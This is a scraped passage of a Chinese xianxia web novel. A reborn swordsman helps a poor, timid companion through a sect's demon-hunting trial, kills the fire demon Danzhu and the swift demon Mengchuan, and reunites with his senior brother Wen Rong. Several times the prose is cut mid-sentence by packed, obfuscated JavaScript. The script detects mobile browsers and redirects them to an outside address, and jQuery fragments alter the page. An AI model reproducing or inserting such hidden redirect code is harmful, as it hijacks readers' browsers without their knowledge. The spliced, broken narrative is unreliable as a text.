;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳恒清伸手轻轻拍了拍妖漂亮的脸蛋,将染到手上的血擦在了妖的身上,冷言道:“能化出如此精致的身体,想来你吸了不少人的精气。” 妖兽还瞪着那双桃花眼,只是眼神已然涣散,周身的妖气也渐渐随风消散,化出了原形。它的后背上嵌着五枚铜钱,柳恒清留了三枚,抛了两枚给躲在树后的程炀。 程炀呆呆地望着掌心里两枚铜钱,跑到柳恒清面前,涨红着脸说道:“我、我不能要,我没帮忙……” “怎么没帮?你不是把你的剑给我了。”柳恒清晃了晃手里的剑。 “这不算什么。”程炀道。 “没这把剑我恐怕打不死它,你的功劳大着呢,收着吧。” “那,我拿一枚就好了。” “哎呀,让你收着你就收着,一枚两枚差很多吗?不想要扔了。”柳恒清佯作不耐烦的样子说道。他太了解这时候的程炀了,怯懦自卑,若是不吓吓他,他根本没办法心安理得地接受任何人的好意。 “啊……那,那我还是留着吧。多、多谢您。”程炀对着柳恒清深深鞠了一躬。 柳恒清忍俊不禁,笑道:“什么您不您的,咱们差不多大,我姓柳名澈,字恒清,你就叫我柳大哥吧。” “好,柳大哥,我……”程炀正要自报家门,忽然想起什么,愣愣地看向柳恒清,问道,“柳大哥,你怎么知道我叫程炀?我们从前见过?” 5. 第 5 章 这下换柳恒清愣住了。方才打斗中他一时高兴,直接喊出了程炀的名字,忘记了这时候他俩是第一次见面,他根本不应该知道程炀的名字。 真是糟糕,我睡了太久脑子都不清醒了,成天忘东忘西的…… 柳恒清讪笑两声,道:“刚刚签到的时候,我就在你旁边,看见你名字了。” “是吗?”程炀挠了挠头,有些疑惑地盯着柳恒清:柳大哥这长相不可多得,当时若在我旁边,我怎会没印象? “是,你低头写的时候我经过了,所以你没注意到我。”柳恒清随口胡诌道。 “原来如此。”程炀将信将疑地点点头。 “咱俩一起走吧,我的剑坏了,你的借我可好?你放心,我会保护好你的。”柳恒清冲他眨眨眼。 程炀受宠若惊:“我、我正有此意。” 柳恒清粲然一笑:“走!” 狩猎场中的一切都与上一世差不多,他一路杀妖杀得十分顺遂,程炀在一旁不住地赞叹,看得眼睛都直了。 “柳大哥,你太厉害了!你这是跟哪位高人学的?”程炀眸光闪烁,看向柳恒清的眼神写满了崇拜。 “我师父是个很神秘的人。”柳恒清学着瓶子师父那副高深莫测的样子说道。 “那定是位世外高人啊,柳大哥,我觉得凭你的实力,说不定能拿前十!”程炀激动道。 柳恒清在心底“嘁”了一声:你柳大哥我当年可是榜首! 但他表面上还是装出一副谦逊的样子,摆摆手道:“过奖过奖,只要能顺利拜入蓬莱派,名次不重要!” “怎么会不重要呢?前十可是能直接拜掌门或者几位长老为师的,用不着再参加一年后的历练了!而且,他们住的庭院和寻常弟子不同,又宽敞又明亮;身上穿的派服虽说样式和其他弟子相同,但用的料子都是绸缎;也用不着日日挑水做苦力,每日专心修炼即可……” 柳恒清漫不经心地听程炀细数着做掌门弟子的好处,想到他的出身,不禁也有些怜惜。 程炀无父无母,自小跟着祖父苦修,居无定所四处漂泊,常常有了上顿没下顿,明明和柳恒清一样大,却矮了大半个头,整个人面黄肌瘦得像只小鸡崽。 其实凭程炀目前的实力,他连拜入蓬莱派都够呛,但祖父年迈,他又没有一技之长,除了来这里试试,没有其他办法了。 上一世柳恒清见他可怜,分了他一些铜钱,让他刚好擦边进了蓬莱派,他本以为自己的日子能好过些了,结果因为性格懦弱修为不高,还是受了师兄弟不少欺凌。 “而且,掌门弟子要是受了伤,可是能直接去千秋山上找芳翳长老的弟子医治的!”程炀还在滔滔不绝地说着。 原本对程炀的话左耳进右耳出的柳恒清,一听到“千秋山”这个关键字眼,连忙抽回思绪,道:“什么什么?你刚刚说什么?” “我说,掌门弟子每日的吃食也十分精细美味。” “不是不是,下一句。” “掌门弟子如果受了伤,可以去千秋山上找芳翳长老的弟子医治。”程炀老老实实回答道。 “对啊!我怎么连这个都忘了。”柳恒清拍了拍脑门,试图让它变得灵光一些。若非程炀提醒,柳恒清真忘了他当初就是因为受伤才有机会上千秋山见到温戎的。 他本来已经不打算再去做什么掌门弟子了,毕竟上一世掌门根本不待见他,无论他功课做得再好、下山历练捉的妖怪再多,永远也只会被掌门泼一头冷水,但是他若不去,那想见温戎可比登天还难。 柳恒清灵光一闪,用手肘戳了戳程炀,问道:“想不想做掌门弟子?” “当然想啊,但是我肯定不行的……”程炀耷拉着脑袋,很是沮丧。 “有我在,怕什么?”柳恒清一把揽住程炀的肩膀,拍了拍自己的胸膛,“包在柳大哥身上!” 程炀不解地抬起头看柳恒清。 “得到的铜钱我们统统对半分,你信不信,我能让我们俩都进前十?”柳恒清仰起下巴,一副势在必得的样子。 “啊?对半分?!”程炀眼睛嘴巴都张得老大,不可置信道,“柳大哥你疯了吗?这……对半分之后我们都进前十,那得杀多少妖怪啊。再说了,我什么忙都没帮,只是给你一柄剑而已,怎么能得那么大的好处呢?万一你本来能进前十,结果分给了我就没法进了可怎么办?” “你哪来那么多顾虑,我说可以就可以。”柳恒清道。上一世第十一名恰好拿到了一百枚铜钱,他只要卡着这个数字,三人并列,大家就都能够顺利成为掌门弟子了,而且还能多送一个人拜入师门呢。只不过,他这次前面浪费了太多时间,现在两人加起来也不过一百六十枚铜钱,离两百枚还差许多,然而距离初选结束只剩一个时辰,狩猎场里的妖怪已经不多了。 柳恒清摸着下巴,蹙眉思索,程炀见他似乎有些苦恼,便道:“柳大哥,我不当掌门弟子,我本来就没那个实力,怎么好意思占了别人的位置呢?你不用为难,到时候你差第十名多少,我这边补给你!反正这些都是你打来的,本就该是你的。” “啧,你怎么总是那么磨叽呢?我想和你一块儿当掌门弟子,大家有个伴相互照应还不行了?你是不信你柳大哥有那个本事吗?”柳恒清佯怒道。 “不是不是。” “不是就别那么多废话,听我安排就行。”柳恒清坚定道。他回想了一下,往这条路过去,他们应该还能从小妖怪那儿得到十枚铜钱,剩下的三十枚,恐怕只能去找这狩猎场中最棘手的那三只大妖怪了。 上一世柳恒清杀了两只大妖,第五朔杀了另一只,这一次如果想要带着程炀一起拜掌门为师,那就必须得赶在第五朔之前找到第三只才行。 柳恒清正想得入神,却听程炀又支支吾吾地开了口。 “可……这样对别人多不公平啊?他们明明比我更应该当掌门弟子的。”他低着头,两只手攥着自己的破布衣小声说道。 柳恒清闻言,心中不悦,微厉道:“公平,何为公平?他们生来高高在上,而你却从小四处流浪这就叫公平吗?这叫人各有命!他们当不上掌门弟子是他们倒霉,是他们没这个命。如今你遇上了我,这掌门弟子的位子落在了你头上,那它就是你的,你安心收着就是了,何必想那么多?整日顾前顾后的,不累吗?这世上没有什么应该或不应该,只有你想要或不想要。” 当初他也总问瓶子师父为何不求回报,甚至倒贴钱也要教自己,瓶子师父告诉他因为他们有缘,因为他们命中注定会互相牵绊。 瓶子师父游历了那么多年,偏偏在那个时候突然想停下来歇一歇,又偏偏歇在了柳恒清家后门被柳恒清捡到,而柳恒清又那么偏偏地是个旷世奇才,被瓶子师父这个上一任的旷世奇才发现了。这一连串的“偏偏”让瓶子师父坚定了要收柳恒清为徒的想法,因为他们有缘。 而现在,柳恒清对程炀亦是如此。 程炀被柳恒清这一番话砸得有些迷茫,他不笨,并非理解不了柳恒清的意思,只是从来没人对他说过这样的话。他莫名觉得眼眶发酸发热,连忙低下头用手背抹了抹眼睛。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438301|169303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 柳恒清摸了摸他的脑袋,温声道:“好啦,别想那么多了。你放心,柳大哥一定让你当上掌门弟子,让你从此再也不怕吃不饱穿不暖。” “嗯!”程炀用力地点了点头,感激地望着柳恒清。 为了加快速度,柳恒清给自己临时劈了把木剑出来。 “柳大哥,这能行吗?”程炀皱眉看着那柄粗糙的木剑,满是担忧。 “放心吧,够用了。”柳恒清成竹在胸。 他给程炀指了一条只有小妖出没的路,和他约好一炷香后在原地会合,两人便分散开来。 程炀目前对付两枚铜钱的小妖还算游刃有余,柳恒清估摸着半柱香的时间他能在那边拿到四枚铜钱,便潜入林中寻找身上带有三枚铜钱的妖怪。 其实他连木剑都用不着,但一想到程炀那个老奶奶般爱操心的性格,他若是不带个什么武器在身上,程炀恐怕又要担心。 柳恒清飞出了老远,干脆利落地解决了两只百年的妖怪,心满意足地攥着六枚铜钱准备往回走,却忽然脸色一变,飞快提剑转身。 木剑直指来人面门,他却不惧,只是蹙眉盯着柳恒清。 “你是谁?”第五朔不客气道。 柳恒清猜到了会是第五朔,毕竟在这个狩猎场里,除了他也不会有第二个人能跟踪柳恒清到在这么近的距离才被他发现。 柳恒清嘻嘻哈哈地收了木剑,对第五朔恭恭敬敬地做了个揖,道:“原来是第五公子,失敬失敬。在下不才柳恒清。” “柳恒清?”第五朔上下打量了柳恒清,语气不善,“没听说过你,哪家的弟子?师从何处?” “哈哈,第五公子真是太看得起我了,我并非出身世家,师父也只是个不着调的散修罢了。”柳恒清继续打哈哈。上一世他和第五朔是狩猎结束后才见面的,虽然初见时的对话和现在差不多,可时机不同,柳恒清还是十分谨慎。 “你少在本公子面前装蒜!本公子刚刚都看见了,你随便用灵力凝出一支箭就能将一只百年妖怪射杀,怎么可能是个普普通通的散修?你这种水平的,要么有世家支持,要么有高人指点。”第五朔厉声道。他亲眼目睹柳恒清不费吹灰之力就杀了两只妖怪,那实力一看便在自己之上,他有些不服,自己可是公认的世家子弟之首,如今却被一个无名之辈压了一头,这让他颜面何存。 柳恒清心道:还真是有高人指点,可惜不能告诉你。 他装作一副为难的样子,说道:“我没有装蒜啊第五公子,我也只有那一招用得好,其他方面很差劲的,不信你瞧,三个时辰了,我的铜钱还没你一半多呢。我这点小把戏,对付百年妖怪还凑合,要是碰上修为更高的妖怪就不行了。” 第五朔视线下移,落在他腰间的那一串铜钱上,确实比自己差了许多。他将信将疑,又问道:“那你刚刚那招是怎么练的?” “啊?你要我要现在教你吗?可是,初选只剩最后一个时辰了,我现在教你的话可能就没时间去狩猎其他妖怪了,万一进不了初选,我娘会打死我的。”柳恒清道。 第五朔脸一红,怒道:“谁要你教了!本公子用得着你教?也不看看你自己什么德行,你也配!” “是是是,是是是……”柳恒清懒得和他多争执,眼下他有更重要的事,得赶紧把这尊神送走才行。 第五朔重重地哼了一声,狠狠撞开柳恒清的肩膀往前走去。 柳恒清长吁一口气,正准备溜之大吉,又听第五朔在身后喊道: “柳恒清是吧?本公子记住你了。” 6. 第 6 章 记住就记住呗,你以为你能拿我怎么样? 柳恒清无所谓地想着,又嬉皮笑脸地转过头去:“能被第五公子记住,是我的福气。” 第五朔看他如此狗腿,嫌弃地撇撇嘴,头也不回地御剑飞远了。 再次和程炀碰面时,他脸上挂了彩,左脸颊一大片擦伤,额头上还有三道抓痕,身上的衣服更破了,还沾满了血。柳恒清给他检查了一下,伤势倒是不重,全是皮外伤,但看上去触目惊心。 “怎么弄成这样了,你不是反应很快的吗?”柳恒清有些无奈。 程炀脖子一缩,结结巴巴道:“对、对不起,我摔了一跤……” “跟我道什么歉?我没有说你笨的意思,下次小心点,不用急,”柳恒清说着,从手里拿了枚铜钱递给程炀,“拿着,你的剑给我。你听我说,我呢,打算去找那三只大妖,等会儿你就躲在一边,别出来给我惹麻烦就行。” 程炀闻言,猛地抬起头来,眼中闪烁着惧色:“什么大妖啊?” 柳恒清看他一眼,轻笑道:“还能是什么大妖?身上有十枚铜钱的那三只啊。” “啊?!”程炀惊得手一抖,手里的铜钱掉了一地。 柳恒清啧了一声,弯腰把铜钱捡起来,边帮他串上边说道:“啊什么啊,想当掌门弟子就得去。你放心,用不着你出手的,你躲一边,别受伤就行了。” “可、可是,那可是五百年修为的大妖怪啊!我们、我们怎么可能打得过。柳大哥你是很厉害,可毕竟是散、散修,比不得那些世家子弟的,他们的佩剑就比我这把好太多了。而且,他们从小修炼,方式比我们正统,少走许多弯路,他们都不一定能打得过大妖怪,更何况你呢?还是别冒险了,我们当普通弟子也好啊。”程炀急道。 “你能不能有点上进心。不入虎穴,焉得虎子?你不想当掌门弟子,我还想呢。”我还想着去见我的温戎师兄呢。 “我……我是没什么上进心,我只求安稳就好,所以,我只要能成为蓬莱派的弟子就已经心满意足了。柳大哥,你要是想当掌门弟子,我这边的铜钱都给你,这样肯定够,你别去冒险了。” “啧,你真是啰里八嗦!”柳恒钱被他烦得不行,他想念那个对他言听计从的程炀了,只不过,要等程炀成长到那种程度还得好几年呢,现在他只能忍着了。 “我……” “闭嘴。”柳恒清低喝道。 程炀脖子又一缩,撅着嘴低头不语,默默跟在柳恒清身后。 柳恒清带着程炀往狩猎场深处飞去。 当初第五朔斩杀的那只妖怪名为丹朱,丹朱怕水,而狩猎场入口处就有一片湖,她必定会选择离那里最远的地方待着。 御剑飞了片刻,柳恒清便在下方看见了第五朔的身影。 第五朔现在拥有的铜钱,想成为掌门弟子是十拿九稳,但他依然不曾松懈,一路上无论大妖小妖统统拿下。 见第五朔此勤勤恳恳地杀妖,柳恒清莫名觉得这时候的他有些可爱,至少比起十年后只会与他作对的那个第五朔好多了。 柳恒清看着他认真的样子,露出了一抹胜券在握的笑来,再望向第五朔时,那眼神犹如望着一个懵懂小辈,既惋惜又怜悯,可说话的口气却有些轻慢:“第五朔啊第五朔,你就慢慢在这儿耗吧,丹朱是我的了。” 程炀不解地看向柳恒清,下一刻就被他带着往下落去。 柳恒清将他塞到一处灌木丛中,道:“等会儿无论听到什么动静都不许来找我,如果看到第五朔赶来,你就出来拦住他。” “我?”程炀不可思议地指着自己,“拦住第五朔?” 柳恒清道:“我知道你打不过他,只是让你拖住他。你就死缠烂打,抱着他的腿,一哭二闹三上吊,总之不管用什么方法,别让他来碍我的事就行。” “呃……好,我尽力。”程炀乖巧地缩进灌木丛里,目送着柳恒清离开。 柳恒清往前走了片刻,便感觉到四周越发燥热起来。此处已是狩猎场最深处,四周古木参天,透不进半缕阳光,空气中弥漫着一股腐败的危险气味,地上除了枯叶只有几片火红色的羽毛,偶有微风拂过,仿若火苗跳跃。 丹朱其实算不得是什么厉害的妖,不过对于他们这些菜鸟来说就很棘手了。柳恒清如今的修为要对付丹朱也不算轻松,不过他好歹曾是一统仙界的霸主,即使修为平平,那身经百战的经验也早已深深刻入他的骨髓。 他扫视一圈,发现在那棵最高大的古树下羽毛最多,便知丹朱的巢一定就在那里。他小心翼翼地靠近,却忽然感受到一阵奇怪的、透着腥臭的风,同时还伴着一道均匀而绵长的呼吸声。 他微微一愣:难道丹朱在睡觉? 又按兵不动地细听了一会儿,柳恒清终于翻了个白眼,自言自语道:“我说当初第五朔怎么打得过丹朱的,合着他是趁鸟之危,在丹朱没睡醒的时候把它给杀了啊。” 如此一来就很好处理了。丹朱的弱点是水,只要将引水符贴在它身上,打湿它那些能化作火焰的羽毛,它也就没什么威胁了。 柳恒清从袖中取出一张黄表纸,咬破手指在上面龙飞凤舞地画出引水符,御剑悄悄靠近丹朱。 它果然正窝在巢里睡得香甜,火红的羽毛在一呼一吸间微微飘动,仿佛火焰摇摆,很是漂亮。 但柳恒清没时间欣赏,只想着赶紧处理掉它再去找另两只。他伸出手,将引水符贴在了丹朱额间,口中念诀催动,却闻身后传来一道破风声。 柳恒清头也没回,闪身避过,眼中顿生杀意,正要去找始作俑者算账,耳边乍然响起一道尖厉刺耳的鸟鸣,他一转头,便见那只箭不偏不倚射中了丹朱的右眼。 丹朱怒而暴起,贴在额间的引水符瞬间被它的火羽燃成灰烬。 “靠!”柳恒清咒骂一声,连忙躲闪,不停在几棵巨树间来回飞跃。 然而丹朱的火球紧随其后,几乎是柳恒清刚在一棵树上停下,火球就砸了过来,他只能不停地在树林间穿梭,偶尔用剑挑飞火球,或是趁着逃跑的间隙对丹朱发出一道不痛不痒的剑气。 柳恒清看了眼身后的火海,眉头紧锁:“不行,再这样下去,整个狩猎场都得完蛋。” 本来,就算丹朱没有在睡觉,他也有把握在几招之内制服它,可那支莫名飞来的箭矢激怒了丹朱,发狂的丹朱比平时难对付太多,而柳恒清此时的修为还不足以应付这样的丹朱。 罢了,先控制火势再说。 柳恒清定了定神,又一次挑飞了一颗火球,转过身去直面丹朱。 丹朱收起了羽翼,化作一个身材曼妙以火为衣的美艳女子,她一手捂着右眼,恶狠狠道:“贱人,给我拿命来!” “拿命?这里是蓬莱山,你本就是被抓来的恶妖,留你苟延残喘几日供我们这些新弟子取乐罢了,你以为你伤得了我?”柳恒清轻蔑道。 丹朱闻言,一头青丝瞬间化作了火苗,仅剩的那只眼睛也变成了红色:“毛头小子,你也就能占嘴上便宜!看我不把你烧成灰。”她怒火中烧,从袖中取一面羽扇,对着柳恒清一连扇了五下,五道火墙犹如罩子一般瞬间从四面八方扑来。 柳恒清眉毛一挑,纵身一跃躲过第一道火墙,眼见第二道火墙再次逼近,他却不慌不忙,手握长剑劈出一道剑风,三道火墙顿时溃散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“里面、咳咳……里面没人……”程炀又爬过去抱住第五朔的靴子。 “没人那只死鸟能弄出这么大动静来?”第五朔这次踹了好几下也没能把程炀踢开。 “这么大的火,你去了也会受伤的,我们救火就行了,把四周的树都砍了,别让火势蔓延,别让更多人受伤。”程炀道。 第五朔皱紧了眉头,看了一眼不远处的火海,不过片刻间,火就已经快烧到他们面前来了,好几棵参天巨树轰然倒下,又继续引燃低矮处的灌木和枯叶,若不及时砍断这一片树木,恐怕整个狩猎场都要葬送在这片火海中。 “那你松开我啊!难道让我拖着你砍树?”要不是规定场内不得私斗,第五朔真的很想把程炀揍一顿。 程炀闻言,犹犹豫豫地松开手,第五朔一跑他就急急忙忙跟上。 “废物,连佩剑都丢了,别在这儿碍事!”第五朔拧着眉头,恶狠狠道。 程炀连忙又退到一旁,缩在一棵树下。 第五朔手持宝剑,凝神静气,将全身灵力都灌入剑中,拦腰一扫,一道剑光瞬间迸出,眼前的几排树应声而倒,眨眼间就阻断了火势的蔓延。 他勾起嘴角,正要收势,谁知忽然感受到正对面有一股强大的灵力袭来,正与他刚刚发出的灵力相抗,并且修为显然在他之上。 第五朔脸色一变,想躲开却已经来不及,整个人被那股力量击飞出了数尺远,重重砸在一块巨石上。 “啊!咳、咳……什么玩意儿,丹朱有这么厉害?”第五朔疼得五官都扭曲了,捂着胸口不可置信道。 只见火光中渐渐出现了一个清瘦的身影,虽看不清脸,但光看走路的姿态便给人一种桀骜不驯之感,手中似乎抓着一只鸟的脖子,不疾不徐地穿过烟尘飞舞的树林走到第五朔面前,对他伸出手,笑道: “第五公子,你没事吧?” 7. 第 7 章 第五朔瞪着站在自己面前的人,瞠目结舌。 只见柳恒清头发微乱衣角微脏,俊朗白净的脸上蹭了些烟灰,却显得眼睛更加清亮,手里抓着的丹朱已经咽了气,浑身的毛都炸开了,身上还冒着黑烟,俨然是被最后那道灵力轰死的。 “不好意思啊,我没想到会误伤到你。”柳恒清诚恳道,扶起呆愣的第五朔。 方才那拼尽全力的一击是他为了赶紧解决丹朱打出的。丹朱生性暴戾嗜杀,如今被人射瞎了一只眼,更是想要杀人泄愤。 柳恒清一开始并不敢打草惊蛇,只好与丹朱周旋,一招一式看似都没能打中她,但其实他的目标本就是丹朱身后的那排树,只要将那排树统统砍倒,火也就不会蔓延得那么快了。 可丹朱也不是那么好骗的,没过几回合她就发现柳恒清突然变弱了,心道不对劲,很快识破了柳恒清的把戏,化出真身挡住柳恒清,柳恒清无法,只能硬着头皮与她对战。 既然要战,那便要速战速决。几招下来,柳恒清看准了丹朱的一个破绽,全力以赴将其一击毙命,谁知当时第五朔竟然就在丹朱的正后方,也一起被打飞了出去。 所幸丹朱挡掉了大半威力,第五朔虽然受了些内伤,但并不严重。 第五朔缓了缓,回过神后猛地抽回了手,怒道:“本公子能有什么事,别以为你那点把戏就能伤到本公子!” “……是是是,第五公子神通广大,哪里会受伤呢。”柳恒清皮笑肉不笑地敷衍了一句,懒得再多管他,转头去找程炀了。 程炀藏身的那棵树也被劈折了,不过他运气不错,刚好被夹在树桩和折断的树干之间,身上除了被第五朔踹了几脚之外也没受伤。 “程炀,辛苦了。”柳恒清赞赏道,把铜钱拿给程炀。 “柳大哥,你也太厉害了吧,刚刚那招太帅了!杀了丹朱,自己还一点事都没有。”程炀眼底的崇拜更强烈了。 柳恒清很是受用,道:“那是当然,我都说了一切包在我身上,你听我安排就行了。” “好!谢谢柳大哥。” “客气什么。”柳恒清对他笑笑,转头朝第五朔喊道,“喂!第五公子,我们就先走了,有缘再会。”柳恒清潇洒地朝他挥了挥手,便带着程炀“嗖”一下飞得没影了。 半个时辰后,狩猎场外,正在通过水镜遥望众弟子们奋勇杀妖的掌门和长老们忽然眉头一蹙。 “怎么这么多地方起火了?”清云长老道。 方才还一片昏暗的狩猎场此刻火光冲天,十面水镜中有六面映照出来的场景都是一片火海,另外四面也能看到隐隐的火光。 “难道是丹朱?”玄华长老道。 掌门摇了摇头:“应该不会,丹朱并不愿意靠近水源,不会在整个狩猎场里到处跑。”他拿起腰间的一个金铃铛,念了口诀。 “师父。”一道冷冽的嗓音从铃铛里传来,光是听声音便让人觉得此人不大好接近。 “宁毓,狩猎场里怎么回事?为何到处都在起火?”掌门问道。 洛宁毓沉默片刻,道:“有个少年杀了丹朱,抢走了她的火羽扇。” “什么!他拿着火羽扇四处放火吗?”掌门道。 “他杀了玄九,现在在追梦川。”洛宁毓淡淡道。 梦川行动及其敏捷,犹如鬼魅一般神出鬼没,眨眼间便可飞出数尺之远,火羽扇确实克它,可也几乎点燃了整个狩猎场。 “竟然如此胆大妄为!你为何不阻拦他!”掌门吼道。 洛宁毓又沉默片刻,道:“我若出手,他岂不是出局了?” “出局就出局!他为了名次,竟然烧了整个狩猎场,如此罔顾他人性命的人,我们蓬莱派不收!” “师父……” 洛宁毓正要开口,芳翳长老便打断了他,问道:“可有人受伤?” “有几个,带出去了。”洛宁毓道。 “真是混账!”掌门怒道。 “师父,那些弟子不是被火烧伤的,是被梦川打伤的。” 掌门闻言,终于察觉出不对劲来,“梦川不是被阵法困住了?” 当初他们抓梦川可费了不少功夫,并不是它有多厉害,只是它逃跑的速度实在太快,寻常仙门弟子根本不可能追得上。他们将梦川放入狩猎场时为了防止它四处伤人,特地设下了阵法将它困在狩猎场北角的一块空地上。 按理说,就算追杀梦川,也应该只在北角起火才对,现在怎么会弄成这样? “有个人路过时误打误撞破了阵法,梦川跑了出来,伤了好几个人。那个少年烧了狩猎场并非蓄意为之,只是若不赶紧抓住梦川,剩下的人也会有危险。”洛宁毓道。 掌门额间渗出了微汗,“这……那其他人如何了?” “都躲在湖边的一个山洞里,目前都挺安全,我和若慈都在。” “温戎怎么样?”芳翳长老又问道。 “他很好。” 芳翳长老本来是想听听温戎的声音,但洛宁毓回答得十分干脆,他也不好再多问。 掌门迟疑片刻,道:“那,好吧。你们千万保护好还在狩猎场里的人,必要时就出手,还在场内的弟子成绩依然作数。” “是。”洛宁毓刚收起金铃,抬头想对温戎说话时却发现他人已经不见了。他微微一愣,抬眼看去才发现温戎不知何时已经朝着那个少年的方向御剑飞去。 洛宁毓眉头一皱,取下了身上的隐身符。 山洞内的少年们一见洞口突然出现了一个人皆是一惊,下一刻看到他身上所穿的玄青流云锦袍,齐齐发出了一声哀嚎。 第五朔冲上前来,激动道:“我们还没到穷途末路的时候!我们不需要师兄的帮助!” 洛宁毓淡淡地扫了他一眼,那眼神落在人身上都让人莫名觉得有股寒意顺着脊背攀上来。 “如今梦川逃出阵法,情况特殊,掌门有令,要我们保护好狩猎场里的每个人,目前尚在场中的弟子成绩皆作数。” 闻言,所有人都松了口气。 洛宁毓拿出一支骨哨吹响,那尖啸声让洞内所有人都忍不住捂住了耳朵,过了片刻,洞口忽然出现了数十人,身上穿的都是月白素锦袍。 “你们在这儿看好这些人,我去找若慈。”洛宁毓话音一落,便飞身朝着方才温戎消失的地方而去。 四周皆是火光,树木被烧得噼啪作响,时不时便会响起树干轰然倒地的巨大声响。柳恒清收起了火羽扇,戏谑地看着被困在火圈中的梦川。 “跑啊,接着跑啊,怎么不跑了?”柳恒清道。 梦川愤愤地对着柳恒清呲牙,但看着他不断逼近,又忍不住本能地向后退去。 “你困住了我,也困住了你自己,别以为你杀了我就能安然出去!”梦川怒喝道。 “本尊出不出得去,就不劳你费心了。”柳恒清话音刚落,眼中杀意乍现,一个闪身逼近梦川。 梦川虽敏捷,但被困在火海中大受局限,他见柳恒清突进,立即朝侧方避开,但后腰还是被火羽扇灼烧了一片,他痛呼一声,脚下一绊,险些被柳恒清掐住脖颈。 柳恒清抓了个空,却也不急,干脆停在了原地,又一次扇动火羽扇,让火圈变得更小了些。 “你疯了吗!”梦川吓得声音都变了,看着不断逼近的火焰,眼底满是恐惧,“难道你要给我陪葬吗?” “你倒是挺会做白日梦的。”柳恒清冷笑一声,负手而立,饶有兴趣地看着吓得浑身发抖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438303|169303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、满眼血丝的梦川,“你自己选吧,是想让我给你个痛快,还是你想葬身在这片火海里。我听说梦川妖皮肉娇嫩,被火灼伤时受到的痛楚,犹如一边凌迟一边撒盐,啧啧啧,真是好惨啊……” “你……”梦川看着柳恒清的眼神满是绝望,它忽然跪了下去,哀求道,“少侠、仙君、尊主……求求你,求你放我一条生路吧,你就算不杀我,肯定也能拜入蓬莱派了!就让我再苟且偷生几日吧,我我我并未害人啊!我是好妖,我——” 梦川还未说完话,忽觉喉头一甜,猛地吐出一口血来,他迟缓地低下头去,只见不知何时,他的胸膛竟被一柄利剑贯穿了,而他甚至没有看清剑飞来的影子。 “你……”梦川不可置信地瞪着柳恒清,还想再说些什么,可血不断涌上喉头,让他呛咳不止,一个字也说不清,不多时便阖上眼,化出了原形。 “啰里八嗦。”柳恒清从容地走上前去,拔出剑,把血抹在了梦川的尸体上。他低头点了点身上的铜钱,加上梦川身上的十枚,不多不少,正好一百枚,他满意地勾唇一笑。 “恒清。” 一道熟悉的声音忽然在身后响起,柳恒清一愣,立即转过身去,便见温戎站在一片火光之中。身后火舌肆虐,将温戎清瘦的身形衬得略有些黯淡,可在柳恒清眼里,温戎才是最耀眼的那道光。 温戎面露担忧之色,奔上前去,取出一块面纱罩住柳恒清的口鼻,紧张道:“你受伤了?” 柳恒清闻言,双腿顺势一软,整个人瘫在了温戎身上。他抬起手背上的烧伤,委屈道:“师兄,好疼。” 温戎从怀中拿出了一瓶药膏,帮柳恒清抹上,问道:“还有哪儿伤着了?” 柳恒清装模作样地咳了两声,虚弱道:“好呛……我被梦川打了一掌,现在胸口好闷。” 若是此刻梦川还没死,听了这茶香四溢、倒打一耙话也要气绝身亡。 温戎眉头紧皱:“莫不是受了内伤。”他不由分说地抓住柳恒清的手腕,柳恒清没来得及抽回手,温戎的手指已经搭在了他的脉上。 这下温戎的眉头皱得更紧了,略有些疑惑地看向柳恒清:“你脉相平稳,应是没什么大碍,你当真觉得难受吗?” 柳恒清夸张地又咳了两声,道:“许是被烟呛着了……咳!咳!咳!” “是吗?可这云雾纱能隔绝烟尘秽物,你现在为何还会咳嗽?”温戎道,他此刻眉头舒展了,心头也明朗了。 柳恒清微微一僵,在温戎怀里扭了两下:“师兄,我是方才被呛得狠了,现在还没缓过来……”他一边说一边悄悄打量着温戎的神情,见温戎眼底含笑,便知自己这出戏已经被识破了,但只要温戎不开口拆穿,他便死赖着不认。 “罢了,你没事就好。”温戎摸了摸柳恒清的头说道。 “嘻嘻,师兄你真好,你是特地来找我……等等,师兄你怎么现身了?”柳恒清方才被见到温戎的喜悦冲昏了头,现在才发觉不对劲来,脸色一变:这下糟了,我该不会连蓬莱派都进不去了吧? 温戎淡淡一笑,道:“放心,掌门知晓梦川逃离阵法后便让场内所有的师兄弟们都出来保护你们,只要现在还在狩猎场内,成绩便做数。” 柳恒清这才松了口气,道:“那就好。” “若慈。” 一道冷冰冰的声音忽然自身后传来,柳恒清的身体猛地一僵。即使身处火海,他听到这声音依然感到背脊一凉。 